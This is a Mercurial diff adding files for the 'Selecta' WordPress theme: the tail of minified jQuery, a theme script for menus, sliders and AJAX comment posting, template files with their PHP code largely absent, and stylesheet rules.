J=this[0],G=J.offsetParent,F=J,O=J.ownerDocument,M,H=O.documentElement,K=O.body,L=O.defaultView,E=L.getComputedStyle(J,null),N=J.offsetTop,I=J.offsetLeft;while((J=J.parentNode)&&J!==K&&J!==H){M=L.getComputedStyle(J,null);N-=J.scrollTop,I-=J.scrollLeft;if(J===G){N+=J.offsetTop,I+=J.offsetLeft;if(o.offset.doesNotAddBorder&&!(o.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(J.tagName))){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}F=G,G=J.offsetParent}if(o.offset.subtractsBorderForOverflowNotVisible&&M.overflow!=="visible"){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}E=M}if(E.position==="relative"||E.position==="static"){N+=K.offsetTop,I+=K.offsetLeft}if(E.position==="fixed"){N+=Math.max(H.scrollTop,K.scrollTop),I+=Math.max(H.scrollLeft,K.scrollLeft)}return{top:N,left:I}}}o.offset={initialize:function(){if(this.initialized){return}var L=document.body,F=document.createElement("div"),H,G,N,I,M,E,J=L.style.marginTop,K='
    ';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})(); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/scripts/selecta_jquery.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/scripts/selecta_jquery.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,368 @@ +/* clearTimeOut Keeps the Menu Open */ +$clearTimeOut = 0; +// Keep the Menu Open if we're highlighting a sub-menu item +function keep_open() + {$clearTimeOut = 0;} +// Begin the closing procedure with a countdown +function close_menu($id) + { + $clearTimeOut = 1; + $temp_timeout = setTimeout("close_menu_final('"+$id+"');", 250); + } +// Do the final menu clearing +function close_menu_final($id) + { + // Check whether or not we've scrolled over a menu item + if($clearTimeOut == 1 && ($id.indexOf("sub-menu-") > -1 || $id.indexOf("sub-page-menu-") > -1)) + { + $use_id = "#"+$id; + $($use_id).slideUp({duration: 250}); + } + } +function switch_slides($current_id, $next_id) + { + $old_post_id = $current_id.replace("image-", "post-"); + $new_post_id = $next_id.replace("image-", "post-"); + + $($current_id).fadeOut("fast"); + $($next_id).addClass("floatleft"); + $($old_post_id).slideUp("slow"); + + setTimeout( + function() + { + $($next_id).fadeIn("slow"); + $($new_post_id).slideDown("slow").addClass("feature-post-content").addClass("clearfix"); + $.busy = 0; + } + ,100); + } + +$(document).ready(function() + { + /***********************************************/ + /* All functions for the featured posts Widget */ + $.current_selected = $("#first_selected").html(); + $("[id^='ocmx-featured-href-']").click(function() + { + $use_id = $(this).attr("id").replace("ocmx-featured-href-", ""); + + $old_header = "#feature-post-header-"+$.current_selected; + $old_media = "#feature-post-media-"+$.current_selected; + $header_id = "#feature-post-header-"+$use_id; + $media_id = "#feature-post-media-"+$use_id; + + $("#feature-media-container").slideUp("slow"); + $($media_id+" > object").addClass("no_display"); + + /* Clear old header */ + $($old_header).addClass("no_display"); + $($header_id).removeClass("no_display"); + + /* Hide old Media*/ + $($old_media).slideUp("slow"); + $($old_media+" object").addClass("no_display"); + + setTimeout(function() + { + $("#feature-media-container").slideDown("fast"); + setTimeout(function() + { + $($media_id).slideDown("slow"); + $($media_id+" > object").removeClass("no_display"); + } + ,1000); + } + ,150); + $.current_selected = $use_id; + return false; + }); + $.current_month = 1; + $("a[id^='archive-href-']").click(function() + { + $use_id = $(this).attr("id").replace("archive-href-", ""); + + $old_detail = "#archive-detail-"+$.current_month; + $new_detail = "#archive-detail-"+$use_id; + + /* Hide old Media*/ + $($old_detail).slideUp("slow"); + $($new_detail).slideDown("slow"); + + $.current_month = $use_id; + return false; + }); + + /********/ + /* Menu */ + $.open_menu = 0; + $("a[id^='main-menu-item-']").mouseover(function(){ + // Start the timeout to keep the menu open + keep_open() + // Create the id to ref the submenu + $sub_menu_id = $(this).attr("id").replace("main-menu-item-", ""); + $id = "sub-menu-"+$sub_menu_id; + if(document.getElementById($id)) + { + $new_sub_menu = "#"+$id; + + if($.open_menu !== $new_sub_menu) + {$(".sub-menu-container").slideUp("fast");} + + // fade in the submenu + $($new_sub_menu).addClass("container").slideDown({duration: 100}); + $.open_menu = $new_sub_menu; + } + }); + + $("a[id^='main-menu-page-item-']").mouseover(function(){ + // Start the timeout to keep the menu open + keep_open() + // Create the id to ref the submenu + $sub_menu_id = $(this).attr("id").replace("main-menu-page-item-", ""); + $id = "sub-page-menu-"+$sub_menu_id; + if(document.getElementById($id)) + { + $new_sub_menu = "#"+$id; + + if($.open_menu !== $new_sub_menu) + {$(".sub-menu-container").slideUp("fast");} + // fade in the submenu + $($new_sub_menu).addClass("container").slideDown("2000"); + $.open_menu = $new_sub_menu; + } + }); + + $("[id^='sub-menu-'], [id^='sub-page-menu-']").mouseover(function(){ + // Start the timeout to keep the menu open + keep_open() + }); + $("[id^='sub-menu-'], [id^='main-menu-item-'], [id^='sub-page-menu-'], [id^='main-menu-page-item-']").mouseout(function(){ + // Create the id to ref the submenu + $sub_menu_id = $(this).attr("id"); + if($sub_menu_id.indexOf("main-menu-item-") > -1) + {$sub_menu_id = $sub_menu_id.replace("main-menu-item-", "sub-menu-");} + else if($sub_menu_id.indexOf("main-menu-page-item-") > -1) + {$sub_menu_id = $sub_menu_id.replace("main-menu-page-item-", "sub-page-menu-");} + // Start the cloding process + close_menu($sub_menu_id); + }); + /********************/ + /* Ajax Comments */ + $("#commentform").submit(function(){return false;}); + + $("#comments-link").click(function(){ + $("html").animate({scrollTop: $("#comments").offset().top}, 1000); + return false; + }); + $("#comment_submit").live("click", function(){ + // Compile the request location + $post_page = $("#template-directory").html()+"/functions/ocmx_comment_post.php"; + // Compile all the request details + $author = $("#author").attr("value"); + $email = $("#email").attr("value"); + $url = $("#url").attr("value"); + $comment = $("#comment").attr("value"); + $twitter = $("#twitter").attr("value"); + $email_subscribe = $("#email_subscribe").attr("checked"); + $post_id = $("#comment_post_id").attr("value"); + $comment_parent_id = $("#comment_parent_id").attr("value"); + + // Set which area the new comment will end up in + if($comment_parent_id !== "0" && $comment_parent_id !== "") + {$new_comments_id = "#new-reply-"+$comment_parent_id;} + else + {$new_comments_id = "#new_comments";} + + // Fade out the new comment div so that we can fade it in after posting our new comment + //$($new_comments_id).fadeOut("fast"); + $("#commment-post-alert").fadeIn("slow"); + // Perform the "Magic" which is just a bit of Ajax + $.post($post_page, { author: $author, email: $email, url: $url, twitter: $twitter, email_subscribe: $email_subscribe, comment: $comment, comment_post_id: $post_id, comment_parent: $comment_parent_id}, + function(data) { + if($.browser.msie) + {location.reload();} + else + {$($new_comments_id).html($($new_comments_id).html()+" "+data).fadeIn("slow");} + $("#commment-post-alert").fadeOut("fast"); + $("#comment").attr("value", ""); + }); + return false; + }); + + $("a[id^='reply-']").live("click", function(){ + // Create the Comment Id and apply it to the comment form + $comment_id = $(this).attr("id").replace("reply-", ""); + + // Set which href we're dealing with + + if($.href_id) + { + $oldhref = $.href_id; + $($oldhref).html("Reply"); + } + $.href_id = "#reply-"+$comment_id; + + //Set where exactly the comment form will end up + $new_location_id = "#form-placement-"+$comment_id; + + //Create the Id for the new placement of the comment Form and put it there + if($($new_location_id).html().toString().indexOf("Leave") == -1) + { + $("#comment_form_container").remove().appendTo($new_location_id); + $($new_location_id).fadeIn("slow"); + $("#comment_parent_id").attr("value", $comment_id); + // Change href to Cancel + $($.href_id).html("Cancel"); + } + else + { + $($new_location_id).fadeOut("fast"); + $("#comment_form_container").remove().appendTo("#original_comment_location"); + $("#comment_parent_id").attr("value", "0"); + // Change href back to Reply + $($.href_id).html("Reply"); + } + setTimeout(function(){$("html").animate({scrollTop: $(".comment-form-content").offset().top}, 1000);}, 500); + return false; + }); + $("#contact_form").submit(function(){ + $err = ""; + var theForm = document.getElementById("contact_form"); + var e_value = $("#contact_email").attr("value"); + + if ($("#contact_name").attr("value") == "" || $("#contact_name").attr("value") == "Name") + {$err = $err + "\n - Enter your name.";} + if(e_value !== "Email Address" && e_value !== "" && e_value.indexOf("@") !== -1 && e_value.indexOf("@.") == -1 && e_value.indexOf("@@") == -1 && ( e_value.indexOf(",") == -1 && e_value.indexOf("/") == -1 && e_value.indexOf("'") == -1 && e_value.indexOf("&") == -1 && e_value.indexOf("%") == -1 )) + {} + else + {$err = $err + "\n - Enter a valid e-mail address.";} + if ($("#contact_subject").attr("value") == "" || $("#contact_subject").attr("value") == "Subject") + {$err = $err + "\n - Enter a subject title for your message.";} + if ($("#contact_message").attr("value") == "" || $("#contact_message").attr("value") == "Your Message") + {$err = $err + "\n - Enter a message.";} + + if($err !== "") + { + $err = "Please correct the following: \n" + $err; + alert($err); + return false + } + else + {return true;} + }); + /**********************/ + /* Search Form Clearer */ + $search_criteria_id = "search_criteria"; + $("#"+$search_criteria_id).focus(function(){ + if($("#"+$search_criteria_id).attr("value") == "Search...") + {$("#"+$search_criteria_id).attr("value", "");} + }); + + $("#"+$search_criteria_id).blur(function(){ + if($("#"+$search_criteria_id).attr("value") == "") + {$("#"+$search_criteria_id).attr("value", "Search...");} + }); + + /************************/ + /* Contact Form Clearer */ + $contact_name_id = "contact_name"; + $("#"+$contact_name_id).focus(function(){ + if($("#"+$contact_name_id).attr("value") == "Name") + {$("#"+$contact_name_id).attr("value", "");} + }); + + $("#"+$contact_name_id).blur(function(){ + if($("#"+$contact_name_id).attr("value") == "") + {$("#"+$contact_name_id).attr("value", "Name");} + }); + + $contact_email_id = "contact_email"; + $("#"+$contact_email_id).focus(function(){ + if($("#"+$contact_email_id).attr("value") == "Email Address") + {$("#"+$contact_email_id).attr("value", "");} + }); + + $("#"+$contact_email_id).blur(function(){ + if($("#"+$contact_email_id).attr("value") == "") + {$("#"+$contact_email_id).attr("value", "Email Address");} + }); + + $contact_subject_id = "contact_subject"; + $("#"+$contact_subject_id).focus(function(){ + if($("#"+$contact_subject_id).attr("value") == "Subject") + {$("#"+$contact_subject_id).attr("value", "");} + }); + + $("#"+$contact_subject_id).blur(function(){ + if($("#"+$contact_subject_id).attr("value") == "") + {$("#"+$contact_subject_id).attr("value", "Subject");} + }); + $contact_message_id = "contact_message"; + $("#"+$contact_message_id).focus(function(){ + if($("#"+$contact_message_id).attr("value") == "Your Message") + {$("#"+$contact_message_id).attr("value", "");} + }); + + $("#"+$contact_message_id).blur(function(){ + if($("#"+$contact_message_id).attr("value") == "") + {$("#"+$contact_message_id).attr("value", "Your Message");} + }); + + /*************************/ + /* Comments Form Clearer */ + $search_id = "s"; + $("#"+$search_id).focus(function(){ + if($("#"+$search_id).attr("value") == "Search...") + {$("#"+$search_id).attr("value", "");} + }); + + $("#"+$search_id).blur(function(){ + if($("#"+$search_id).attr("value") == "") + {$("#"+$search_id).attr("value", "Search...");} + }); + + /*************************/ + /* Comments Form Clearer */ + $author_id = "author"; + $("#"+$author_id).focus(function(){ + if($("#"+$author_id).attr("value") == "Name") + {$("#"+$author_id).attr("value", "");} + }); + + $("#"+$author_id).blur(function(){ + if($("#"+$author_id).attr("value") == "") + {$("#"+$author_id).attr("value", "Name");} + }); + + $email_id = "email"; + $("#"+$email_id).focus(function(){ + if($("#"+$email_id).attr("value") == "EMail Address") + {$("#"+$email_id).attr("value", "");} + }); + + $("#"+$email_id).blur(function(){ + if($("#"+$email_id).attr("value") == "") + {$("#"+$email_id).attr("value", "EMail Address");} + }); + + $url_id = "url"; + $("#"+$url_id).focus(function(){ + if($("#"+$url_id).attr("value") == "Website URL") + {$("#"+$url_id).attr("value", "");} + }); + $("#"+$url_id).blur(function(){ + if($("#"+$url_id).attr("value") == "") + {$("#"+$url_id).attr("value", "Website URL");} + }); + + $twitter_id = "twitter"; + $("#"+$twitter_id).focus(function(){ + if($("#"+$twitter_id).attr("value") == "Twitter Name") + {$("#"+$twitter_id).attr("value", "");} + }); + $("#"+$twitter_id).live("blur", function(){ + if($("#"+$twitter_id).attr("value") == "") + {$("#"+$twitter_id).attr("value", "Twitter Name");} + }); + }); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/search.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/search.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,74 @@ + + + + +
    + ID, "main_video", true); + $get_thumbnail = get_post_meta($post->ID, "other_media", true); + $link = get_permalink($post->ID); + // Set our category + $category = get_the_category(); + // If we haven't used our custom image input, search for the first image in the post + $post_image = ""; + if($get_thumbnail == "" && (get_option("ocmx_auto_home_images") && get_option("ocmx_auto_home_images") !== "no")) : + $post_image = fetch_post_image($post->ID, "560", "2000"); + endif; + + ?> +
    +

    post_date)); ?>

    +

    +
    +
    + +
    + +
    + +
    + +
    + +
    + <?php the_title(); ?> +
    + post_excerpt !== "") : + the_excerpt(); + else : + the_content(); + endif; ?> + + comment_count; ?> Comments + Continue reading +
    + +
    + +
    +

    This just happened.

    +

    Everyone needs to slow down

    +
    +
    There are no posts which match your criterea.
    + +
    + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/sidebar.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/sidebar.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,8 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/single.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/single.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,84 @@ + + + + +
    + ID, "other_media", true); + $get_post_video = get_post_meta($post->ID, "main_video", true); + $link = get_permalink($post->ID); + ?> +
    +
    +
    + + + +

    Promote Post

    +
    +
      +
    • + + +
    • +
    • + + +
    • +
    • + + +
    • +
    • + + +
    • +
    +
    + +
    + +
    + + +
    +
    +
    + +
    + +
    +
    + + +
    + + + + +
    +

    This just happened.

    +

    Everyone needs to slow down

    +
    +
    There are no posts which match your criterea.
    + +
    + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/style.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/style.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,474 @@ +/* +Theme Name: Selecta +Design Studio: Obox Design http://www.obox-design.com/ +Version: 1.0 +Author: Obox Design +Author URI: http://www.obox-design.com/ +*/ + + +/*--------------------------------------------------------------------------------------------------------------------------*/ +/*- RESET - Courtesy of Eric Meyer's CSS Reset Awesomeness: http://meyerweb.com/eric/thoughts/2007/05/01/reset-reloaded/ ---*/ +/*--------------------------------------------------------------------------------------------------------------------------*/ +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, img, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td{ +margin: 0; padding: 0; border: 0; outline: 0; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; +} +/* remember to define focus styles! */ +:focus {outline: 0;} +body {line-height: 1; color: black; background: white;} +ol, ul {list-style: none;} +/* tables still need 'cellspacing="0"' in the markup */ +table {border-collapse: separate;border-spacing: 0;} +caption, th, td {text-align: left;font-weight: normal;} +blockquote:before, blockquote:after, +q:before, q:after {content: "";} +blockquote, q {quotes: "" "";} + + +/*--*********************************************************************************--------*/ +/*- IE6 WARNING - BEFORE WE DO ANYTHING!! WE NEED TO TELL EVERYONE TO GET RID OF IE 6 -------*/ +/*-------------------------------------------------------------------------------------------*/ +.no_ie{clear:both; border-bottom: 2px solid #a60000; background: #ffcece; color: #000; font-weight: bold; padding: 10px; text-align:center; } + .no_ie h1{font-size: 22px; color: #a60000;} + .no_ie p{margin: 0px; padding: 0px;} + .no_ie a{color: #a60000; text-decoration: underline;} + .no_ie a:hover{color: #000;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SETUP STD CLASSES -----------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +body{font-size: 15px; font-family: Arial, Helvetica, sans-serif;} + +h1{margin: 0px; padding: 1px 0px 10px 0px;} +h2{margin: 0px; padding: 1px 0px 10px 0px;} +h3{margin: 0px; padding: 1px 0px 10px 0px;} +h4{margin: 0px; padding: 1px 0px 10px 0px;} +h5{margin: 0px; padding: 1px 0px 10px 0px;} +h6{margin: 0px; padding: 1px 0px 10px 0px;} + +p{line-height: 24px; margin: 0px 0px 15px;} +blockquote, blockquote p{line-height: 24px; margin: 0px 0px 15px;} + +form{} +label{} +textarea, input{} +input[type=radio]{} +input[type=checkbox]{} +input[type=image]{} +input[type=button]{} + + +/*-------------------------------------------------------------------------------------------*/ +/*- GLOBAL CLASSES --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*--- Links ---*/ +a.std_link, a{text-decoration: none;} +a:active{} +a:hover{} + +/*--- Layouts ---*/ +.no_bg{background-image: none;} +.clearboth{clear: both} +.floatleft{float: left;} +.floatright{float: right;} +.floatright{float:right;} +.no_display{display: none;} +.alignleft{float: left; margin: 0px 20px 10px 0px;} +.alignright{float: right; margin: 0px 0px 10px 20px;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- GENERAL LAYOUT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#container{} + +#header-container{width: 980px; margin: 30px auto; position: relative; z-index: 2;} + #header{padding: 1px 20px;} + +#feature-post-container{padding: 60px 0px 30px; margin: 0px 0px -30px; position: relative; top: -60px; position: relative; z-index: 1;} + #feature-post{width: 980px; margin: 0px auto;} + #feature-post .post{margin: 0px;} + +#content-container{width: 980px; margin: auto;} + + .post-slider{padding: 0px 0px 20px; margin: 0px 0px 30px;} + + #sidebar{float: left; width: 330px;} + + #content{float: right; width: 600px;} + +#footer-container{clear: both; padding: 30px 0px 0px; margin: 30px 0px 30px;} + #footer{width: 980px; margin: auto;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HEADER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +h1.logo{float: left; padding: 0px; margin: 0px;} + + /*--------------------------*/ + /*- MENU -------------------*/ + ul#menu{float: right; margin-top: 4px;} + ul#menu li.parent-item{float: left; margin: 0px 10px; padding: 4px 10px; position: relative;} + ul#menu li.parent-item:last-child{ margin: 0px;} + + ul#menu li.parent-item a.parent-link{font-weight: bold;} + ul#menu li.parent-item a.parent-link:hover{} + + ul#menu li.parent-item a.parent-link-sub-menu{} + ul#menu li.parent-item a.parent-link-sub-menu:hover{} + + ul#menu li.menu-rss{} + ul#menu li.menu-rss a{} + ul#menu li.menu-rss a:hover{} + + /*--------------------------*/ + /*- SUB MENU ---------------*/ + .sub-menu-container{width: 150px; position: absolute; top: 46px; z-index: 100; left: -20px;} + ul.sub-menu{width: 150px; padding: 64px 0px 0px;} + ul.sub-menu li{clear: both;} + ul.sub-menu li a{ display: block; padding: 10px 10px; font-size: 10pt;} + ul.sub-menu li a:hover{} + ul.sub-menu li:first-child a{padding-top: 1px;} + ul.sub-menu li:last-child a{ border-bottom: none; padding-bottom: 1px;} + .sub-menu-footer{clear: both; width: 150px; height: 20px; padding: 0px; margin: 0px;} + +/*-------------------------------------------------------------------------------------------*/ +/*- ROUNDED CORNERS - Before we do anything, let's set the rounded corners ------------------*/ +/*-------------------------------------------------------------------------------------------*/ + +/*- ------------------------------------------------------------------------------------------- + NOTE: There are two color references in the div description + The first is the containers background color + "LIGHT" refers to the light containing div (eg. the copy containers) + "DARK" refers to the darker containing div (eg. side-bar containers) + The second reference is the background that the container sits it + "NORMAL" refers to the body background color + "DARK" refers to the darker containing div background color (eg. the 'feature post' container) +------------------------------------------------------------------------------------------ -*/ +.container-light{padding: 2px 20px;} +.container-dark{padding: 2px 20px;} + +/*- LIGHT -*/ +.container-header-light-dark{clear: both; height: 20px; overflow: hidden;} +.container-header-light-dark span{display: block; width: 20px; height: 20px; overflow: hidden;} +.container-footer-light-dark{height: 20px;} +.container-footer-light-dark span{float: right; display: block; width: 20px; height: 20px; overflow: hidden;} + +.container-header-light-normal{clear: both; height: 20px; overflow: hidden;} +.container-header-light-normal span{display: block; width: 20px; height: 20px; overflow: hidden;} +.container-footer-light-normal{height: 20px;} +.container-footer-light-normal span{float: right; display: block; width: 20px; height: 20px; overflow: hidden;} + +/*- DARK -*/ +.container-header-dark-dark{clear: both; height: 20px; overflow: hidden;} +.container-header-dark-dark span{display: block; width: 20px; height: 20px; overflow: hidden;} +.container-footer-dark-dark{height: 20px;} +.container-footer-dark-dark span{float: right; display: block; width: 20px; height: 20px; overflow: hidden;} + +.container-header-dark-normal{clear: both; height: 20px; overflow: hidden;} +.container-header-dark-normal span{display: block; width: 20px; height: 20px; overflow: hidden;} +.container-footer-dark-normal{height: 20px;} +.container-footer-dark-normal span{float: right; display: block; width: 20px; height: 20px; overflow: hidden;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- HOME PAGE LAYOUT ------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------------------*/ + /*- FEATURE POSTS ----------------------------------------*/ + .selected-feature{float: left; width: 680px;} + .selected-feature h4{padding: 0px 0px 2px; margin: 0px 0px 0px 55px; font-weight: bold; font-size: 11px;} + .selected-feature h2{padding: 0px 0px 6px; margin: 0px 0px 0px 55px; font-weight: bold; font-size: 22px;} + .selected-feature h2 a{} + .selected-feature h2 a:hover{} + .selected-feature .container{} + + ul.feature-list{float: right; width: 290px; margin: 40px 0px 0px;} + ul.feature-list li{clear: both; margin: 0px 0px 23px; height: 62px;} + ul.feature-list li span.item{float: left; width: 44px; height: 52px; padding: 10px 0px 0px 26px; margin: 0px 10px 0px 0px; display: block; font-size: 40px; font-weight: bold;} + ul.feature-list li h4{font-weight: bold; font-size: 11px; padding: 0px 0px 2px;} + ul.feature-list li a{float: left; display: block; width: 210px; padding: 0px 0px 6px; line-height: 22px; font-weight: bold; font-size: 15px;} + ul.feature-list li a:hover{} + + ul.feature-list li.selected span.item{background-position: right;} + ul.feature-list li:last-child{margin: 0px 0px 0px;} + + /*-------------------------------------------------------------*/ + /*- THE FEATURE CONTAINER DIV IS ALSO USED FOR PAGE TITLES ----*/ + #feature-post h1{font-weight: bold; font-size: 30px;} + + + /*--------------------------------------------------------*/ + /*- POST SLIDER ------------------------------------------*/ + .post-slider h2{float: left; font-size: 30px; font-weight: bold; margin: 0px 0px 15px; padding: 0px;} + .post-slider ul{clear: both;} + .post-slider ul li{float: left; width: 230px; margin: 0px 20px 0px 0px;} + .post-slider ul li .container-light{height: 110px; overflow: hidden;} + + .post-slider ul li .content{padding: 20px; margin: 0px; -moz-border-radius: 15px; -webkit-border-radius: 15px;} + .post-slider ul li div.thumbnail{width: 190px; height: 110px; overflow: hidden;} + + .post-slider ul li h3{padding: 10px 10px 0px;} + .post-slider ul li h3 a{margin: 0px; font-weight: bold; font-size: 15px; line-height: 20px;} + .post-slider ul li h3 a:hover{} + .post-slider ul li:last-child, .post-slider ul li.last{margin: 0px;} + + + /*--------------------------------------------------------*/ + /*- PAGINATION -------------------------------------------*/ + ul.page_button_content{margin-bottom: 30px;} + ul.page_button_content li{float: left; margin: 0px 10px 0px 0px;} + ul.page_button_content li a{display: block; width: 35px; height: 25px; overflow: hidden; text-indent: -9999px;} + ul.page_button_content li.previous-page a{background-position: 0px -14px;} + ul.page_button_content li.previous-page a:hover{background-position: 0px -67px;} + + ul.page_button_content li a.selected-page{background-position: -45px -1px; width: 47px; height: 30px; padding: 17px 0px 0px; margin: -12px 0px 0px; text-indent: inherit; text-align: center; font-weight: bold; font-size: 15px; text-indent: 0px;} + + ul.page_button_content li a.other-page{background-position: -102px -14px; padding: 5px 0px 0px; height: 20px; text-indent: inherit; text-align: center; font-weight: bold; font-size: 15px; text-indent: 0px;} + ul.page_button_content li a.other-page:hover{background-position: -102px -67px;} + + ul.page_button_content li.next-page a{background-position: -147px -14px;} + ul.page_button_content li.next-page a:hover{background-position: -147px -67px;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POSTS CLASSES ---------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/*- RESET SOME CLASSES FOR THE COPY AFTER CLEARING EVERYTHING AT THE TOP OF THE CSS -*/ +.post .copy p{clear: none;} +.post .copy a{} + .post .copy a:hover{} +.post .copy ol, .post .copy ul{list-style: disc; margin: 0px 0px 10px 30px;} + .post .copy ol li, .post .copy ul li{line-height: 22px; padding-bottom: 10px;} +.post .copy ol{list-style: decimal;} +.post .copy code, .post .copy pre{} +.post .copy img{} + + +.post{margin: 0px 0px 30px;} + + .post h2.title{margin: 0px 0px 0px 55px; padding: 0px 0px 6px; font-weight: bold; font-size: 22px;} + .post h2.title a{} + .post h2.title a:hover{} + .post h4.date{padding: 0px 0px 2px; margin: 0px 0px 0px 55px; font-weight: bold; font-size: 11px;} + + .post .copy{padding: 1px 20px;} + .post .copy .media{margin: 0px 0px 20px; z-index: 1;} + .post .copy a.action-link{display: inline-block; height: 30px; padding: 0px 0px 0px 10px;} + .post .copy a.action-link span{display: block; height: 23px; padding: 7px 10px 0px 0px; font-weight: bold;} + .post .copy a.action-link:hover{background-position: left bottom;} + .post .copy a.action-link:hover span{background-position: right bottom;} + .post a.post-comments{float: right; padding: 9px 0px 0px; font-size: 11px;} + .post a.post-comments:hover{} + + #feature-post .post .copy .media{margin: 0px;} + +.post-section-title{clear: both; font-size: 25px; font-weight: bold; margin-bottom: 20px;} + +/*-------------------------------------------------------------------------------------------*/ +/*- PROMOTE POST ----------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.promote-post{margin-bottom: 30px;} + .promote-post h2{font-size: 18pt; margin: 0px 0px 10px; padding: 0px;} + .enjoy-copy{font-size: 14pt; font-style: italic; margin: 0px;} + .promote-post ul li{ list-style: none; float: left; padding: 10px 0px 0px; margin-right: 15px;} + .promote-post ul li.tweet{padding-top: 29px;} + .promote-post ul li.moo{padding-top: 29px;} + .promote-post ul li.bump{padding-top: 19px;} + .promote-post ul li.digg{padding-top: 11px;} + + + +/*-------------------------------------------------------------------------------------------*/ +/*- COMMENTS --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#comments{clear: both; margin: 30px 0px;} + .comment{margin: 0px 0px 0px;} + .comment h3{display: block; margin-bottom: 10px; font-weight: bold; font-size: 14px;} + .comment h3 a{} + .comment h3 a:hover{} + .comment h3 .comment-date{float: right; padding: 3px 0px 0px; font-weight: lighter; font-size: 10px;} + + .user{float: left; width: 78px;} + .user img{width: 40px; padding: 10px; margin-right: 10px;} + .user a.reply-link{display: block; width: 60px; height: 18px; padding: 7px 0px 0px; margin: 10px 0px 0px; overflow: hidden; text-align: center; font-size: 11px; font-weight: bold;} + .user a.reply-link:hover{background-position: bottom;} + + .comment-post{float: right; width: 522px; margin-bottom: 20px;} + .comment-content{ padding: 1px 20px; font-size: 13px;} + + .comment-odd{} + + /*--------------------------------------------------------*/ + /*- 